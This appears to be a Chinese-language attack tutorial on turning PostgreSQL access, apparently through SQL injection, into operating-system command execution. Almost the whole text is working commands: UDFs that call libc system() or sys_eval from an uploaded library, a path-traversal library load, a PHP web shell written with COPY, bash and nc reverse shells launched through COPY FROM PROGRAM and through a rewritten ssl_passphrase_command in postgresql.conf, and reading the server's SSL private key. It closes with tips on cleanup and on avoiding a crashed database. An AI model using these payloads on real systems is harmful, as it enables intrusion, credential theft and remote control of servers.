UDF 8.2以下可以直接调用系统的动态链接库/lib/libc.so.6或者是/lib64/libc.so.6(未测试)
1 2 3 4 CREATE FUNCTION system (cstring) RETURNS int AS '/lib/libc.so.6' , 'system' LANGUAGE C STRICT;CREATE FUNCTION system (cstring) RETURNS int AS '/lib64/libc.so.6' , 'system' LANGUAGE C STRICT;select system ('id' );
8.2及以上版本可直接利用sqlmap/data/udf中所提供的udf文件,我这里测试了一下9.5的,好像没法用
1 2 postgres= ERROR: could not load library "/tmp/udf.so" : /tmp/udf.so: invalid ELF header
不过好在还可以利用udfhack 自己生成任意版本的udf
找到对应版本的postgresql源码(这里我用的12.2),进行本地安装
1 2 3 ./configure -prefix=/usr/local /pgsql --without-readline --without-zlib make make install
利用udfhack生成udf
1 2 3 4 git clone https://github.com/sqlmapproject/udfhack cd udfhack/linux/lib_postgresqludf_sysgcc -Wall -I/usr/local /pgsql/include/server/ -Os -shared lib_postgresqludf_sys.c -fPIC -o lib_postgresqludf_sys.so strip -sx lib_postgresqludf_sys.so
在目标上写入生成的udf文件
1 2 3 4 5 select lo_from_bytea(9999 , '\x......' );select lo_export(9999 ,'/tmp/udf.so' );CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS '/tmp/udf.so' , 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;select sys_eval('id' );drop function sys_eval;
利用目录穿越加载udf 另外某国外大佬 发现在最新版的postgresql中,superuser不再允许从***/PostgreSQL/11/lib之外的地方加载udf文件,且该目录不允许NETWORK_SERVICE或者postgres写入文件。但是作者发现可以利用一个目录穿越漏洞进行加载udf文件,向下面这样
1 2 3 4 select lo_export(9999 ,'udf.so' );CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS '../data/udf.so' , 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
利用COPY特性getshell postgresql 9.3开始引入COPY,可利用其特性进行getshell
copy to 1 copy (select '<?php phpinfo();?>' ) to '/var/www/html/shell.php' ;
copy from program 1 2 create table tmp(t text);copy tmp from program 'bash -c "/bin/bash -i >& /dev/tcp/127.0.0.1/9999 0>&1"' ;
写配置文件getshell 所有的操作仅需select进行,非堆叠注入可考虑,linux下专用
获取配置文件内容 查询配置文件目录
1 select setting from pg_settings where name= 'config_file' ;
利用lo_import读取配置文件,指定loid为1234
1 select lo_import('/etc/postgresql/12/main/postgresql.conf' , 1234 );
查询对应loid,获取并还原配置文件内容
1 select string_agg(data,'' ) from pg_largeobject where loid= '1234' ;
构造带passphrase的ssl_key_file 查看还原后的配置文件中ssl_key_file的路径为’/etc/ssl/private/ssl-cert-snakeoil.key’,读取ssl_key_file的内容
1 select pg_read_file('/etc/ssl/private/ssl-cert-snakeoil.key' );
通过openssl构造一个带passphrase的ssl_key_file,passphrase可任意
1 openssl rsa -aes256 -in /tmp/ssl-cert-snakeoil.key -out /tmp/ssl-passphrase.key
利用lo_from_bytea写入构造后的ssl_key_file内容
1 2 3 4 5 6 7 select lo_from_bytea(4321 ,'\x2d2d2d2d2d424547...4b45592d2d2d2d2d0a' );select lo_from_bytea(4321 ,'\x2d2d2d2d2d' );select lo_put(4321 ,5 ,'\x424547...' );... select lo_put(4321 ,1790 ,'\x2d2d2d2d2d0a' );
修改表中配置文件内容 查看ssl_key_file所在位置,利用lo_put注释掉该行内容
1 cat /tmp/postgresql.conf | grep -b ssl_key_file
1 select lo_put(1234 ,4063 ,'\x23' );
查看配置文件总长,并在最后添加三行配置用于执行命令
1 2 3 4 5 ssl_key_file = '/var/lib/postgresql/12/main/PG_VERSION' ssl_passphrase_command_supports_reload = on ssl_passphrase_command = 'bash -c "test -p /dev/shm/pipe || mkfifo /dev/shm/pipe; nc 127.0.0.1 9999 < /dev/shm/pipe | /bin/bash > /dev/shm/pipe & echo passphrase; exit 0"' select lo_put(1234 ,26784 ,'\x73736c5f6b65795f66696c65203d20272f7661722f6c69622f706f737467726573716c2f31322f6d61696e2f50475f56455253494f4e270a73736c5f706173737068726173655f636f6d6d616e645f737570706f7274735f72656c6f6164203d206f6e0a73736c5f706173737068726173655f636f6d6d616e64203d202762617368202d63202274657374202d70202f6465762f73686d2f70697065207c7c206d6b6669666f202f6465762f73686d2f706970653b206e63203132372e302e302e312039393939203c202f6465762f73686d2f70697065207c202f62696e2f62617368203e202f6465762f73686d2f706970652026206563686f20706173737068726173653b2065786974203022270a' );
写入文件GETSHELL 1 2 3 select lo_export(1234 ,'/etc/postgresql/12/main/postgresql.conf' );select lo_export(4321 ,'/var/lib/postgresql/12/main/PG_VERSION' );select pg_reload_conf();
清理数据 1 2 3 4 select lo_unlink(1234 );select lo_unlink(4321 );
坑点
各种操作必须小心,最终的写入之前,一定要检查内容是否正确,不然数据库真的可能会挂
loid位数不宜设置过高,不然操作pg_largeobject中的文件内容时会出现各种错误
配置文件最后添加三行代码时,lo_put指定的位置应该为配置文件长度-1,不然lo_put会以一个00字节填充,造成写入后无法识别配置的问题
Reference https://www.postgresql.org/ftp https://github.com/sqlmapproject/udfhack https://pulsesecurity.co.nz/articles/postgres-sqli https://srcincite.io/blog/2020/06/26/sql-injection-double-uppercut-how-to-achieve-remote-code-execution-against-postgresql.html